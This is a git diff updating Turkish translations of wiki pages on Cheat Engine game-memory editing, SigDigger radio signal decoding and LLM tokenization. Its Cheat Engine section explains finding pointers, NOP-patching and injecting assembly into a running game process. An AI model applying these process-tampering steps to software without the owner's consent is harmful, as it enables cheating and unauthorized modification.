mevcuttur: ![](<../../images/image (864).png>) ## Değeri Değiştirme -Aradığınız **değerin** nerede olduğunu **bulduğunuzda** (bununla ilgili daha fazla bilgi sonraki adımlarda) onu **değiştirmek için** üzerine çift tıklayarak, ardından değerine çift tıklayarak değiştirebilirsiniz: +Aradığınız **değerin** nerede olduğunu **bulduğunuzda** (bununla ilgili daha fazla bilgi sonraki adımlarda) üzerine çift tıklayarak **değiştirebilirsiniz**, ardından değerine çift tıklayın: ![](<../../images/image (563).png>) -Ve son olarak, bellekteki değişikliği gerçekleştirmek için **onay kutusunu işaretleyerek**: +Ve son olarak, bellekteki değişikliği gerçekleştirmek için **onay kutusunu işaretleyin**: ![](<../../images/image (385).png>) -Bellekteki **değişiklik** hemen **uygulanacaktır** (oyun bu değeri tekrar kullanmadığı sürece değer **oyunda güncellenmeyecektir**). +**Bellekteki değişiklik** hemen **uygulanacaktır** (oyun bu değeri tekrar kullanmadığı sürece değer **oyunda güncellenmeyecektir**). ## Değeri Arama Öyleyse, geliştirmek istediğiniz önemli bir değer (kullanıcınızın hayatı gibi) olduğunu varsayıyoruz ve bu değeri bellekte arıyorsunuz. -### Bilinen bir değişim aracılığıyla +### Bilinen bir değişim yoluyla 100 değerini aradığınızı varsayalım, bu değeri aramak için bir **tarama** yapıyorsunuz ve birçok eşleşme buluyorsunuz: @@ -54,18 +54,18 @@ Sonra, **değerin değişmesi için** bir şey yapıyorsunuz ve oyunu **durdurup ![](<../../images/image (684).png>) -Cheat Engine, **100'den yeni değere** geçen **değerleri** arayacaktır. Tebrikler, aradığınız değerin **adresini buldunuz**, şimdi onu değiştirebilirsiniz.\ -&#xNAN;_Eğer hala birkaç değer varsa, o değeri tekrar değiştirmek için bir şey yapın ve adresleri filtrelemek için bir başka "sonraki tarama" gerçekleştirin._ +Cheat Engine, **100'den yeni değere** geçen **değerleri** arayacaktır. Tebrikler, aradığınız değerin **adresini buldunuz**, şimdi bunu değiştirebilirsiniz.\ +_Eğer hala birkaç değer varsa, o değeri tekrar değiştirmek için bir şey yapın ve adresleri filtrelemek için bir "sonraki tarama" yapın._ ### Bilinmeyen Değer, bilinen değişim -Eğer **değeri bilmiyorsanız** ama **değiştirmek için ne yapmanız gerektiğini** biliyorsanız (ve hatta değişimin değerini) numaranızı arayabilirsiniz. +Değeri **bilmediğiniz** ancak **değişmesini nasıl sağlayacağınızı** bildiğiniz (ve hatta değişim değerini) bir senaryoda, numaranızı arayabilirsiniz. Öyleyse, "**Bilinmeyen başlangıç değeri**" türünde bir tarama yaparak başlayın: ![](<../../images/image (890).png>) -Sonra, değeri değiştirin, **değerin** **nasıl değiştiğini** belirtin (benim durumumda 1 azaldı) ve **bir sonraki taramayı** gerçekleştirin: +Sonra, değerin değişmesini sağlayın, **değerin nasıl değiştiğini** belirtin (benim durumumda 1 azaldı) ve **bir sonraki taramayı** yapın: ![](<../../images/image (371).png>) @@ -81,20 +81,20 @@ Birçok **mümkün değişim** olduğunu ve sonuçları filtrelemek için bu **a ### Rastgele Bellek Adresi - Kodu Bulma -Şimdiye kadar bir değeri saklayan bir adresi bulmayı öğrendik, ancak **oyunun farklı çalıştırmalarında bu adresin bellekte farklı yerlerde olma olasılığı yüksektir**. Bu nedenle, bu adresi her zaman nasıl bulacağımızı öğrenelim. +Şimdiye kadar bir değeri saklayan bir adres bulmayı öğrendik, ancak **oyunun farklı çalıştırmalarında bu adresin bellekte farklı yerlerde olma olasılığı yüksektir**. Bu nedenle, bu adresi her zaman nasıl bulacağımızı öğrenelim. -Bahsedilen bazı ipuçlarını kullanarak, mevcut oyunun önemli değeri sakladığı adresi bulun. Sonra (isterseniz oyunu durdurarak) bulunan **adrese sağ tıklayın** ve "**Bu adrese neyin eriştiğini bul**" veya "**Bu adrese neyin yazdığını bul**" seçeneğini seçin: +Bahsedilen bazı ipuçlarını kullanarak, mevcut oyununuzun önemli değeri sakladığı adresi bulun. Sonra (isterseniz oyunu durdurarak) bulunan **adrese sağ tıklayın** ve "**Bu adrese erişenleri bul**" veya "**Bu adrese yazanları bul**" seçeneğini seçin: ![](<../../images/image (1067).png>) -**İlk seçenek**, bu **adresin** **kullanıldığı** **kodun** **hangi kısımlarını** bilmek için yararlıdır (bu, oyunun kodunu **nerede değiştirebileceğinizi** bilmek gibi daha fazla şey için yararlıdır).\ -**İkinci seçenek** daha **özeldir** ve bu durumda **değerin nereden yazıldığını** bilmekle ilgilendiğimiz için daha faydalı olacaktır. +**İlk seçenek**, bu **adresin** hangi **kod parçaları** tarafından **kullanıldığını** bilmek için yararlıdır (bu, oyunun kodunu **nerede değiştirebileceğinizi** bilmek gibi daha fazla şey için yararlıdır).\ +**İkinci seçenek** daha **özeldir** ve bu durumda, **bu değerin nereden yazıldığını** bilmekle ilgilendiğimiz için daha faydalı olacaktır. -Bu seçeneklerden birini seçtikten sonra, **hata ayıklayıcı** programa **bağlanacak** ve yeni bir **boş pencere** açılacaktır. Şimdi, **oyunu oynayın** ve **değeri değiştirin** (oyunu yeniden başlatmadan). **Pencere**, **değeri değiştiren** **adreslerle** **doldurulmalıdır**: +Bu seçeneklerden birini seçtiğinizde, **hata ayıklayıcı** programa **bağlanacak** ve yeni bir **boş pencere** açılacaktır. Şimdi, **oyunu oynayın** ve **değeri değiştirin** (oyunu yeniden başlatmadan). **Pencere**, **değeri değiştiren** **adreslerle** **doldurulmalıdır**: ![](<../../images/image (91).png>) -Artık değeri değiştiren adresi bulduğunuza göre, kodu **istediğiniz gibi değiştirebilirsiniz** (Cheat Engine, bunu NOP'lar için hızlı bir şekilde değiştirmenize izin verir): +Artık değeri değiştiren adresi bulduğunuza göre, kodu istediğiniz gibi **değiştirebilirsiniz** (Cheat Engine, bunu NOP'lar için hızlıca değiştirmenize izin verir): ![](<../../images/image (1057).png>) @@ -102,7 +102,7 @@ Artık kodu, sayınızı etkilemeyecek şekilde veya her zaman olumlu bir şekil ### Rastgele Bellek Adresi - Pointer Bulma -Önceki adımları takip ederek, ilgilendiğiniz değerin nerede olduğunu bulun. Sonra, "**Bu adrese neyin yazdığını bul**" seçeneğini kullanarak bu değeri yazan adresi bulun ve üzerine çift tıklayarak ayrıştırma görünümünü alın: +Önceki adımları takip ederek, ilgilendiğiniz değerin nerede olduğunu bulun. Sonra, "**Bu adrese yazanları bul**" seçeneğini kullanarak bu değeri yazan adresi bulun ve üzerine çift tıklayarak ayrıştırma görünümünü alın: ![](<../../images/image (1039).png>) @@ -113,7 +113,7 @@ Sonra, **"\[]"** arasındaki hex değerini aramak için yeni bir tarama yapın ( (_Birden fazla görünüyorsa genellikle en küçük adres olanı almanız gerekir_)\ Artık **ilgilendiğimiz değeri değiştirecek pointer'ı bulduk**. -"**Adres Ekle**" seçeneğine tıklayın: +"**Adresi Manuel Olarak Ekle**" seçeneğine tıklayın: ![](<../../images/image (990).png>) @@ -127,11 +127,11 @@ Tamam'a tıklayın ve yeni bir pointer oluşturulacaktır: ![](<../../images/image (308).png>) -Artık bu değeri her değiştirdiğinizde, **değerin bulunduğu bellek adresi farklı olsa bile önemli değeri değiştiriyorsunuz.** +Artık o değeri her değiştirdiğinizde, **değerin bulunduğu bellek adresi farklı olsa bile önemli değeri değiştiriyorsunuz.** ### Kod Enjeksiyonu -Kod enjeksiyonu, hedef işleme bir kod parçası enjekte etme ve ardından kodun yürütülmesini kendi yazdığınız koddan geçirecek şekilde yönlendirme tekniğidir (örneğin, size puan vermek yerine puanınızı azaltmak). +Kod enjeksiyonu, hedef işleme bir kod parçası enjekte etme ve ardından kodun yürütülmesini kendi yazdığınız koddan geçirecek şekilde yönlendirme tekniğidir (örneğin, size puan vermek yerine puan almanızı sağlamak). Öyleyse, oyuncunuzun hayatından 1 çıkaran adresi bulduğunuzu hayal edin: @@ -150,7 +150,7 @@ Bir şablon oluşturulacaktır: ![](<../../images/image (944).png>) -Bu nedenle, yeni assembly kodunuzu "**newmem**" bölümüne ekleyin ve **çalıştırılmasını istemiyorsanız** "**originalcode**" bölümünden orijinal kodu kaldırın\*\*.\*\* Bu örnekte, enjekte edilen kod 1 çıkarmak yerine 2 puan ekleyecektir: +Bu nedenle, yeni assembly kodunuzu "**newmem**" bölümüne ekleyin ve **çalıştırılmasını istemiyorsanız** "**originalcode**" bölümündeki orijinal kodu kaldırın. Bu örnekte, enjekte edilen kod 1 çıkarmak yerine 2 puan ekleyecektir: ![](<../../images/image (521).png>) diff --git a/src/todo/hardware-hacking/radio.md b/src/todo/hardware-hacking/radio.md index 0d54320ce..ffa5e0900 100644 --- a/src/todo/hardware-hacking/radio.md +++ b/src/todo/hardware-hacking/radio.md @@ -8,8 +8,8 @@ ### Temel Konfigürasyon -Kurulumdan sonra yapılandırmayı düşünebileceğiniz birkaç şey vardır.\ -Ayarlar (ikinci sekme düğmesi) kısmında **SDR cihazını** seçebilir veya **bir dosya** seçerek okunacak dosyayı ve senkronize edilecek frekansı ve örnekleme hızını (PC'niz destekliyorsa 2.56Msps'a kadar önerilir) ayarlayabilirsiniz.\\ +Kurulumdan sonra yapılandırmayı düşünebileceğiniz birkaç şey var.\ +Ayarlar (ikinci sekme butonu) bölümünde **SDR cihazını** seçebilir veya **bir dosya** seçerek okunacak dosyayı ve senkronize edilecek frekansı ve örnekleme hızını (PC'niz destekliyorsa 2.56Msps'a kadar önerilir) ayarlayabilirsiniz. ![](<../../images/image (245).png>) @@ -22,45 +22,45 @@ GUI davranışında, PC'niz destekliyorsa birkaç şeyi etkinleştirmeniz öneri ### Kullanımlar -- Sadece **bir sinyalin bir kısmını yakalamak ve analiz etmek** için "Yakalamak için bas" düğmesini ihtiyacınız olduğu sürece basılı tutun. +- Sadece **bir sinyalin bir kısmını yakalamak ve analiz etmek** için "Yakalamak için bas" butonunu ihtiyacınız olduğu sürece basılı tutun. ![](<../../images/image (960).png>) -- SigDigger'ın **Tuner'ı**, **daha iyi sinyaller yakalamaya** yardımcı olur (ancak bunları da bozabilir). İdeal olarak 0 ile başlayın ve **sinyalin iyileşmesinden daha büyük** olan **gürültüyü** bulana kadar **büyütmeye devam edin**. +- SigDigger'ın **Tuner'ı**, **daha iyi sinyaller yakalamaya** yardımcı olur (ama aynı zamanda onları bozabilir). İdeal olarak 0 ile başlayın ve **sinyalin iyileşmesinden daha büyük** olan **gürültüyü** bulana kadar **büyütmeye devam edin**. ![](<../../images/image (1099).png>) ### Radyo kanalı ile senkronize olma -[**SigDigger** ](https://github.com/BatchDrake/SigDigger) ile duymak istediğiniz kanal ile senkronize olun, "Temel bant ses önizlemesi" seçeneğini yapılandırın, gönderilen tüm bilgileri almak için bant genişliğini ayarlayın ve ardından Tuner'ı gürültünün gerçekten artmaya başlamadan önceki seviyeye ayarlayın: +[**SigDigger** ](https://github.com/BatchDrake/SigDigger) ile duymak istediğiniz kanal ile senkronize olun, "Baseband audio preview" seçeneğini yapılandırın, gönderilen tüm bilgileri almak için bant genişliğini ayarlayın ve ardından Tuner'ı gürültünün gerçekten artmaya başlamadan önceki seviyeye ayarlayın: ![](<../../images/image (585).png>) ## İlginç ipuçları -- Bir cihaz bilgi patlamaları gönderdiğinde, genellikle **ilk kısım bir öncül olacaktır**, bu yüzden orada **bilgi bulamazsanız** veya **bazı hatalar varsa** endişelenmenize gerek yoktur. +- Bir cihaz bilgi patlamaları gönderdiğinde, genellikle **ilk kısım bir ön ek olacaktır**, bu yüzden orada **bilgi bulamazsanız** veya **bazı hatalar varsa** endişelenmenize gerek yoktur. - Bilgi çerçevelerinde genellikle **birbirleriyle iyi hizalanmış farklı çerçeveler bulmalısınız**: ![](<../../images/image (1076).png>) ![](<../../images/image (597).png>) -- **Bitleri geri aldıktan sonra, bunları bir şekilde işlemeniz gerekebilir**. Örneğin, Manchester kodlamasında yukarı+aşağı bir 1 veya 0, aşağı+yukarı ise diğeridir. Yani 1'lerin ve 0'ların (yukarı ve aşağı) çiftleri gerçek bir 1 veya gerçek bir 0 olacaktır. -- Bir sinyal Manchester kodlaması kullanıyorsa (bir sırada iki 0 veya 1'den fazlasını bulmak imkansızdır), **öncül içinde birden fazla 1 veya 0 bulabilirsiniz**! +- **Bitleri geri aldıktan sonra, onları bir şekilde işlemeniz gerekebilir**. Örneğin, Manchester kodlamasında bir yukarı+aşağı 1 veya 0 olacak ve bir aşağı+yukarı diğerini temsil edecektir. Yani 1'lerin ve 0'ların (yukarı ve aşağı) çiftleri gerçek bir 1 veya gerçek bir 0 olacaktır. +- Bir sinyal Manchester kodlaması kullanıyorsa (bir sırada iki 0 veya 1'den fazlasını bulmak imkansızdır), **ön ekte birden fazla 1 veya 0 bulabilirsiniz**! ### IQ ile modülasyon türünü açığa çıkarma Sinyallerde bilgiyi depolamanın 3 yolu vardır: **amplitüd**, **frekans** veya **faz** modüle etmek.\ -Bir sinyali kontrol ediyorsanız, bilgiyi depolamak için neyin kullanıldığını anlamanın farklı yolları vardır (aşağıda daha fazla yol bulabilirsiniz) ancak iyi bir yol IQ grafiğini kontrol etmektir. +Bir sinyali kontrol ediyorsanız, bilgiyi depolamak için neyin kullanıldığını anlamanın farklı yolları vardır (aşağıda daha fazla yol bulabilirsiniz) ama iyi bir yol IQ grafiğini kontrol etmektir. ![](<../../images/image (788).png>) -- **AM'yi tespit etme**: IQ grafiğinde örneğin **2 daire** görünüyorsa (muhtemelen biri 0'da ve diğeri farklı bir amplitüde), bu bir AM sinyali olduğu anlamına gelebilir. Bunun nedeni, IQ grafiğinde 0 ile daire arasındaki mesafenin sinyalin amplitüdü olmasıdır, bu nedenle kullanılan farklı amplitüdlere görsel olarak ulaşmak kolaydır. -- **PM'yi tespit etme**: Önceki resimde olduğu gibi, eğer birbirleriyle ilişkili olmayan küçük daireler bulursanız, bu muhtemelen bir faz modülasyonunun kullanıldığı anlamına gelir. Bunun nedeni, IQ grafiğinde nokta ile 0,0 arasındaki açının sinyalin fazı olmasıdır, bu da 4 farklı fazın kullanıldığı anlamına gelir. +- **AM Tespiti**: Eğer IQ grafiğinde örneğin **2 daire** görünüyorsa (muhtemelen biri 0'da ve diğeri farklı bir amplitüde), bu bir AM sinyali olduğu anlamına gelebilir. Bunun nedeni, IQ grafiğinde 0 ile daire arasındaki mesafenin sinyalin amplitüdü olmasıdır, bu yüzden kullanılan farklı amplitüdlere görsel olarak bakmak kolaydır. +- **PM Tespiti**: Önceki resimde olduğu gibi, eğer birbirleriyle ilişkili olmayan küçük daireler bulursanız, bu muhtemelen bir faz modülasyonunun kullanıldığı anlamına gelir. Bunun nedeni, IQ grafiğinde nokta ile 0,0 arasındaki açının sinyalin fazı olmasıdır, bu da 4 farklı fazın kullanıldığı anlamına gelir. - Bilginin, bir fazın değişmesi gerçeğinde gizli olduğunu ve fazın kendisinde olmadığını unutmayın, farklı fazları net bir şekilde ayırt edemezsiniz. -- **FM'yi tespit etme**: IQ'nun frekansları tanımlamak için bir alanı yoktur (merkeze olan mesafe amplitüd ve açı fazdır).\ -Bu nedenle, FM'yi tanımlamak için bu grafikte **temelde sadece bir daire görmelisiniz**.\ -Ayrıca, farklı bir frekans IQ grafiğinde **daire boyunca bir hız ivmesi** ile "temsil edilir" (bu nedenle SysDigger'da sinyali seçtiğinizde IQ grafiği doldurulur, eğer oluşturulan dairede bir ivme veya yön değişikliği bulursanız bu FM olabilir): +- **FM Tespiti**: IQ'nun frekansları tanımlamak için bir alanı yoktur (merkeze olan mesafe amplitüd ve açı fazdır).\ +Bu nedenle, FM'yi tanımlamak için, bu grafikte **temelde sadece bir daire görmelisiniz**.\ +Ayrıca, farklı bir frekans IQ grafiğinde **daire boyunca bir hızlanma ile "temsil edilir"** (bu yüzden SysDigger'da sinyali seçtiğinizde IQ grafiği doldurulur, eğer oluşturulan dairede bir hızlanma veya yön değişikliği bulursanız bu FM olabilir): ## AM Örneği @@ -68,25 +68,25 @@ Ayrıca, farklı bir frekans IQ grafiğinde **daire boyunca bir hız ivmesi** il sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw {{#endfile}} -### AM'yi açığa çıkarma +### AM'yi Açığa Çıkarma -#### Zarfı kontrol etme +#### Zarfı Kontrol Etme [**SigDigger** ](https://github.com/BatchDrake/SigDigger) ile AM bilgilerini kontrol ederken ve sadece **zarfı** inceleyerek farklı net amplitüd seviyeleri görebilirsiniz. Kullanılan sinyal, AM'de bilgi gönderen darbeler gönderiyor, bir darbenin görünümü şöyle: ![](<../../images/image (590).png>) -Ve bu da dalga formuyla sembolün bir kısmının görünümüdür: +Ve bu, dalga formuyla sembolün bir kısmının görünümüdür: ![](<../../images/image (734).png>) -#### Histogramı kontrol etme +#### Histogramı Kontrol Etme -Bilgi bulunan **tüm sinyali** seçebilir, **Amplitüd** modunu ve **Seçim**'i seçebilir ve **Histogram**'a tıklayabilirsiniz. İki net seviyenin yalnızca bulunduğunu gözlemleyebilirsiniz. +Bilgi bulunan **tüm sinyali** seçebilir, **Amplitüd** modunu ve **Seçim**'i seçebilir ve **Histogram**'a tıklayabilirsiniz. 2 net seviyenin yalnızca bulunduğunu gözlemleyebilirsiniz. ![](<../../images/image (264).png>) -Örneğin, bu AM sinyalinde Amplitüd yerine Frekansı seçerseniz sadece 1 frekans bulursunuz (frekans modülasyonunda bilgi sadece 1 frekans kullanıyorsa). +Örneğin, bu AM sinyalinde Amplitüd yerine Frekansı seçerseniz sadece 1 frekans bulursunuz (frekans modülasyonunda bilgi sadece 1 frekans kullanıyorsa bu durum geçerli değildir). ![](<../../images/image (732).png>) @@ -94,7 +94,7 @@ Eğer birçok frekans bulursanız, bu muhtemelen bir FM olmayacaktır, sinyal fr #### IQ ile -Bu örnekte, **büyük bir daire** olduğunu ancak aynı zamanda **merkezde birçok nokta** olduğunu görebilirsiniz. +Bu örnekte, **büyük bir daire** olduğunu ama aynı zamanda **merkezde birçok nokta** olduğunu görebilirsiniz. ![](<../../images/image (222).png>) @@ -108,26 +108,26 @@ Bulduğunuz en küçük sembolü seçin (böylece sadece 1 olduğundan emin olur #### Bir grup sembolle -Seçmek istediğiniz sembol sayısını da belirtebilir ve SigDigger 1 sembolün frekansını hesaplayacaktır (seçilen sembol sayısı arttıkça muhtemelen daha iyi olacaktır). Bu senaryoda 10 sembol seçtim ve "Seçim frekansı" 1.004 kHz: +Seçmek istediğiniz sembol sayısını da belirtebilirsiniz ve SigDigger 1 sembolün frekansını hesaplayacaktır (seçilen sembol sayısı arttıkça muhtemelen daha iyi sonuç alırsınız). Bu senaryoda 10 sembol seçtim ve "Seçim frekansı" 1.004 kHz: ![](<../../images/image (1008).png>) ### Bitleri Alma -Bu bir **AM modüle edilmiş** sinyal olduğunu ve **sembol hızını** bulduğunuzu (ve bu durumda yukarı bir şeyin 1 ve aşağı bir şeyin 0 anlamına geldiğini bilerek), sinyalde kodlanmış **bitleri elde etmek** çok kolaydır. Bu nedenle, bilgiyi içeren sinyali seçin ve örnekleme ve karar verme ayarlarını yapılandırın ve örnekle düğmesine basın (lütfen **Amplitüd**'ün seçili olduğundan, keşfedilen **Sembol hızının** yapılandırıldığından ve **Gadner saat geri kazanımının** seçildiğinden emin olun): +Bunun bir **AM modüle edilmiş** sinyal olduğunu ve **sembol hızını** bulduktan sonra (ve bu durumda yukarı bir şeyin 1 ve aşağı bir şeyin 0 anlamına geldiğini bilerek), sinyalde kodlanmış **bitleri elde etmek** çok kolaydır. Bu nedenle, bilgiyi içeren sinyali seçin ve örnekleme ve karar verme ayarlarını yapılandırın ve örnekle butonuna basın (lütfen **Amplitüd**'ün seçili olduğundan, keşfedilen **Sembol hızının** yapılandırıldığından ve **Gadner saat kurtarma** seçeneğinin seçili olduğundan emin olun): ![](<../../images/image (965).png>) -- **Seçim aralıklarına senkronize olma**, daha önce sembol hızını bulmak için aralıklar seçtiyseniz, o sembol hızı kullanılacaktır. -- **Manuel**, belirtilen sembol hızının kullanılacağı anlamına gelir. +- **Seçim aralıklarına senkronize ol** demek, daha önce sembol hızını bulmak için aralıklar seçtiyseniz, o sembol hızının kullanılacağı anlamına gelir. +- **Manuel** demek, belirtilen sembol hızının kullanılacağı anlamına gelir. - **Sabit aralık seçimi** ile seçilmesi gereken aralık sayısını belirtirsiniz ve sembol hızını buradan hesaplar. -- **Gadner saat geri kazanımı** genellikle en iyi seçenektir, ancak yine de bazı yaklaşık sembol hızlarını belirtmeniz gerekir. +- **Gadner saat kurtarma** genellikle en iyi seçenektir, ancak yine de bazı yaklaşık sembol hızını belirtmeniz gerekir. -Örnekle düğmesine bastığınızda bu görünür: +Örnekle butonuna bastığınızda bu görünür: ![](<../../images/image (644).png>) -Artık SigDigger'ın **bilgi taşıyan seviyenin aralığını** anlaması için **alt seviyeye** tıklayıp en büyük seviyeye kadar basılı tutmanız gerekir: +Şimdi, SigDigger'ın **bilgi taşıyan seviyenin aralığını** anlaması için **alt seviyeye** tıklayıp en yüksek seviyeye kadar basılı tutmanız gerekir: ![](<../../images/image (439).png>) @@ -137,9 +137,9 @@ Son olarak, **Zoom**'u **artırarak** ve **Satır boyutunu** **değiştirerek** ![](<../../images/image (276).png>) -Eğer sinyalin sembol başına 1'den fazla biti varsa (örneğin 2), SigDigger **hangi sembolün** 00, 01, 10, 11 olduğunu bilmenin bir yoluna sahip değildir, bu nedenle her birini temsil etmek için farklı **gri tonları** kullanacaktır (ve eğer bitleri kopyalarsanız **0'dan 3'e kadar** sayılar kullanacaktır, bunları işlemeniz gerekecektir). +Eğer sinyalin sembol başına 1'den fazla biti varsa (örneğin 2), SigDigger **hangi sembolün** 00, 01, 10, 11 olduğunu bilmenin bir yoluna sahip değildir, bu yüzden her birini temsil etmek için farklı **gri tonları** kullanacaktır (ve eğer bitleri kopyalarsanız **0'dan 3'e kadar** sayılar kullanacaktır, bunları işlemeniz gerekecektir). -Ayrıca, **Manchester** gibi **kodlamalar** kullanın ve **yukarı+aşağı** **1 veya 0** olabilir ve aşağı+yukarı bir 1 veya 0 olabilir. Bu durumlarda, elde edilen yukarıları (1) ve aşağıları (0) **işlemeniz** gerekir, böylece 01 veya 10 çiftlerini 0 veya 1 olarak değiştirebilirsiniz. +Ayrıca, **kodlamalar** kullanın, örneğin **Manchester** ve **yukarı+aşağı** **1 veya 0** olabilir ve bir aşağı+yukarı 1 veya 0 olabilir. Bu durumlarda, elde edilen yukarıları (1) ve aşağıları (0) **işlemeniz** gerekir, böylece 01 veya 10 çiftlerini 0 veya 1 olarak değiştirebilirsiniz. ## FM Örneği @@ -147,7 +147,7 @@ Ayrıca, **Manchester** gibi **kodlamalar** kullanın ve **yukarı+aşağı** ** sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw {{#endfile}} -### FM'yi açığa çıkarma +### FM'yi Açığa Çıkarma #### Frekansları ve dalga formunu kontrol etme @@ -163,7 +163,7 @@ Bu, sinyali her iki frekansta da yakaladığım için, bu nedenle biri diğerini ![](<../../images/image (942).png>) -Eğer senkronize frekans **bir frekansa diğerine göre daha yakınsa**, 2 farklı frekansı kolayca görebilirsiniz: +Eğer senkronize frekans **bir frekansa diğerine göre daha yakınsa**, iki farklı frekansı kolayca görebilirsiniz: ![](<../../images/image (422).png>) @@ -171,7 +171,7 @@ Eğer senkronize frekans **bir frekansa diğerine göre daha yakınsa**, 2 farkl #### Histogramı kontrol etme -Bilgi içeren sinyalin frekans histogramını kontrol ettiğinizde, 2 farklı sinyali kolayca görebilirsiniz: +Bilgi içeren sinyalin frekans histogramını kontrol ettiğinizde, iki farklı sinyali kolayca görebilirsiniz: ![](<../../images/image (871).png>) @@ -179,15 +179,15 @@ Bu durumda, **Amplitüd histogramını** kontrol ederseniz **sadece bir amplitü ![](<../../images/image (817).png>) -Ve bu da faz histogramı olacaktır (bu, sinyalin fazda modüle edilmediğini çok net bir şekilde gösterir): +Ve bu, faz modülasyonunun olmadığını çok net bir şekilde gösteren faz histogramı olacaktır: ![](<../../images/image (996).png>) #### IQ ile IQ'nun frekansları tanımlamak için bir alanı yoktur (merkeze olan mesafe amplitüd ve açı fazdır).\ -Bu nedenle, FM'yi tanımlamak için bu grafikte **temelde sadece bir daire görmelisiniz**.\ -Ayrıca, farklı bir frekans IQ grafiğinde **daire boyunca bir hız ivmesi** ile "temsil edilir" (bu nedenle SysDigger'da sinyali seçtiğinizde IQ grafiği doldurulur, eğer oluşturulan dairede bir ivme veya yön değişikliği bulursanız bu FM olabilir): +Bu nedenle, FM'yi tanımlamak için, bu grafikte **temelde sadece bir daire görmelisiniz**.\ +Ayrıca, farklı bir frekans IQ grafiğinde **daire boyunca bir hızlanma ile "temsil edilir"** (bu yüzden SysDigger'da sinyali seçtiğinizde IQ grafiği doldurulur, eğer oluşturulan dairede bir hızlanma veya yön değişikliği bulursanız bu FM olabilir): ![](<../../images/image (81).png>) diff --git a/src/todo/llm-training-data-preparation/1.-tokenizing.md b/src/todo/llm-training-data-preparation/1.-tokenizing.md index bb2a42f23..007b28aff 100644 --- a/src/todo/llm-training-data-preparation/1.-tokenizing.md +++ b/src/todo/llm-training-data-preparation/1.-tokenizing.md @@ -16,10 +16,10 @@ Metin: `"Merhaba, dünya!"`\ Tokenlar: `["Merhaba", ",", "dünya", "!"]` 2. **Bir Kelime Dağarcığı Oluşturma:** - Tokenları sayısal ID'lere dönüştürmek için bir **kelime dağarcığı** oluşturulur. Bu kelime dağarcığı, tüm benzersiz tokenları (kelimeler ve semboller) listeler ve her birine belirli bir ID atar. -- **Özel Tokenlar:** Bu, çeşitli senaryoları ele almak için kelime dağarcığına eklenen özel sembollerdir: +- **Özel Tokenlar:** Çeşitli senaryoları ele almak için kelime dağarcığına eklenen özel sembollerdir: - `[BOS]` (Dizinin Başlangıcı): Bir metnin başlangıcını belirtir. - `[EOS]` (Dizinin Sonu): Bir metnin sonunu belirtir. -- `[PAD]` (Doldurma): Bir partideki tüm dizileri aynı uzunlukta yapmak için kullanılır. +- `[PAD]` (Doldurma): Bir partideki tüm dizilerin aynı uzunlukta olmasını sağlamak için kullanılır. - `[UNK]` (Bilinmeyen): Kelime dağarcığında olmayan tokenları temsil eder. - _Örnek:_\ Eğer `"Merhaba"` ID `64` ile atanmışsa, `","` `455`, `"dünya"` `78`, ve `"!"` `467` ise:\ @@ -27,7 +27,7 @@ Eğer `"Merhaba"` ID `64` ile atanmışsa, `","` `455`, `"dünya"` `78`, ve `"!" - **Bilinmeyen Kelimeleri Ele Alma:**\ Eğer `"Hoşça kal"` gibi bir kelime kelime dağarcığında yoksa, `[UNK]` ile değiştirilir.\ `"Hoşça kal, dünya!"` → `["[UNK]", ",", "dünya", "!"]` → `[987, 455, 78, 467]`\ -&#xNAN;_(Varsayılan `[UNK]` ID'sinin `987` olduğu kabul edilirse)_ +_(Varsayılarak `[UNK]` ID'si `987`)_ ### **Gelişmiş Tokenizasyon Yöntemleri** @@ -37,41 +37,41 @@ Temel tokenizer basit metinler için iyi çalışırken, büyük kelime dağarc - **Amaç:** Kelime dağarcığının boyutunu azaltır ve nadir veya bilinmeyen kelimeleri sıkça karşılaşılan byte çiftlerine ayırarak ele alır. - **Nasıl Çalışır:** - Token olarak bireysel karakterlerle başlar. -- En sık karşılaşılan token çiftlerini tek bir token haline getirerek iteratif olarak birleştirir. -- Daha fazla sık karşılaşılan çift birleştirilemeyecek duruma gelene kadar devam eder. +- En sık karşılaşılan token çiftlerini tek bir token haline getirerek yinelemeli olarak birleştirir. +- Daha fazla sık çift birleştirilemeyecek hale gelene kadar devam eder. - **Faydaları:** -- Tüm kelimelerin mevcut alt kelime tokenları birleştirilerek temsil edilebileceğinden `[UNK]` tokenına ihtiyaç duyulmaz. +- Tüm kelimelerin mevcut alt kelime tokenları ile temsil edilebilmesi nedeniyle `[UNK]` tokenına ihtiyaç duyulmaz. - Daha verimli ve esnek bir kelime dağarcığı sağlar. - _Örnek:_\ `"oynama"` token olarak `["oyna", "ma"]` şeklinde ayrılabilir eğer `"oyna"` ve `"ma"` sıkça karşılaşılan alt kelimelerse. 2. **WordPiece:** -- **Kullananlar:** BERT gibi modeller. -- **Amaç:** BPE'ye benzer, bilinmeyen kelimeleri ele almak ve kelime dağarcığını azaltmak için kelimeleri alt kelime birimlerine ayırır. +- **Kullanım Alanı:** BERT gibi modeller. +- **Amaç:** BPE'ye benzer, bilinmeyen kelimeleri ele almak ve kelime dağarcığı boyutunu azaltmak için kelimeleri alt kelime birimlerine ayırır. - **Nasıl Çalışır:** - Bireysel karakterlerden oluşan bir temel kelime dağarcığı ile başlar. -- Eğitim verilerinin olasılığını maksimize eden en sık karşılaşılan alt kelimeyi iteratif olarak ekler. +- Eğitim verilerinin olasılığını maksimize eden en sık karşılaşılan alt kelimeyi yinelemeli olarak ekler. - Hangi alt kelimelerin birleştirileceğine karar vermek için olasılıksal bir model kullanır. - **Faydaları:** - Yönetilebilir bir kelime dağarcığı boyutu ile kelimeleri etkili bir şekilde temsil etme arasında denge kurar. -- Nadir ve bileşik kelimeleri verimli bir şekilde ele alır. +- Nadir ve bileşik kelimeleri etkili bir şekilde ele alır. - _Örnek:_\ -`"mutsuzluk"` token olarak `["mut", "suz", "luk"]` veya `["mut", "suzluk"]` şeklinde ayrılabilir, bu kelime dağarcığına bağlıdır. +`"mutsuzluk"` token olarak `["mut", "suzluk"]` veya `["mut", "suz", "luk"]` şeklinde ayrılabilir, bu kelime dağarcığına bağlıdır. 3. **Unigram Dil Modeli:** -- **Kullananlar:** SentencePiece gibi modeller. +- **Kullanım Alanı:** SentencePiece gibi modeller. - **Amaç:** En olası alt kelime token setini belirlemek için olasılıksal bir model kullanır. - **Nasıl Çalışır:** - Potansiyel tokenların büyük bir seti ile başlar. -- Eğitim verilerinin modelin olasılığını en az artıran tokenları iteratif olarak kaldırır. +- Eğitim verilerinin modelin olasılığını en az artıran tokenları yinelemeli olarak kaldırır. - Her kelimenin en olası alt kelime 